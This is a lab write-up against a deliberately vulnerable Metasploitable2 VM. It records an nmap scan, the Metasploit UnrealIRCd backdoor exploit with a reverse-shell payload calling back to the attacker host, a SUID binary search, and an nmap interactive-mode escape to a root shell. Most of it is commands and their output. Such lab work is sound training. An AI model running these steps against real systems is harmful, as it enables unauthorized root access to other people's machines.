Lab 1 — Advanced Exploitation Lab (Metasploitable2)

Author: Harshal Harekar
Date:14/10/2025

Objective

This lab focuses on chaining exploits against a vulnerable machine.

Environment

- Attacker: Kali Linux (host-only network)
- Target: Metasploitable2 VM (192.168.18.138)
- Tools: Metasploit, Python3, Nmap

Steps

1. Setup & Reconnaissance

Run nmap scan on the target: *nmap -sV -p- 192.168.18.138*. Look for vulnerable services.

```
┌──(aazukaazu㉿kali)-[~]
└─$ sudo nmap -sV 192.168.18.138
[sudo] password for aazukaazu:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 12:52 IST
Nmap scan report for 192.168.18.138
Host is up (0.00068s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:98:38:11 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.71 seconds
```

2. Chained Exploit Simulation (UnrealIRCd Backdoor -> Privilege Escalation)
Initial Access: Launch Metasploit (msfconsole).

```
┌──(aazukaazu㉿kali)-[~]
└─$ sudo msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true
[*] Starting the Metasploit Framework conSole.../
```

Search for the UnrealIRCd exploit

```
msf6 > search unrealircd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 >
```

Use the exploit, set payload, set RHOSTS, LHOST and LPORT

```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.18.138
RHOSTS => 192.168.18.138
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 192.168.18.138:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.18.133
LHOST => 192.168.18.133
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 4518
LPORT => 4518
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.18.133:4518
[*] 192.168.18.138:6667 - Connected to 192.168.18.138:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.18.138:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo njlrL8zm4lEh7QB9;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "njlrL8zm4lEh7QB9\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.18.133:4518 -> 192.168.18.138:34895) at 2025-10-14 13:03:06 +0530

whoami
root
```

UnrealIRCd backdoor exploit dropped you straight in as root.
I will be still simulating the steps for privilege escalation.

A common technique on older Linux systems is to find SUID binaries that can be abused.

```
whoami
root
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

See nmap in the list. Older versions of Nmap had an interactive mode that could be used to escape to a root shell.
In the shell, run: nmap --interactive and then at the nmap prompt, type !sh to get a root shell.

```
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Log

Exploit ID	Description	Target IP	Status	Payload
1	UnrealIRCd Backdoor -> Privilege Escalation	192.168.18.138	Success	Shell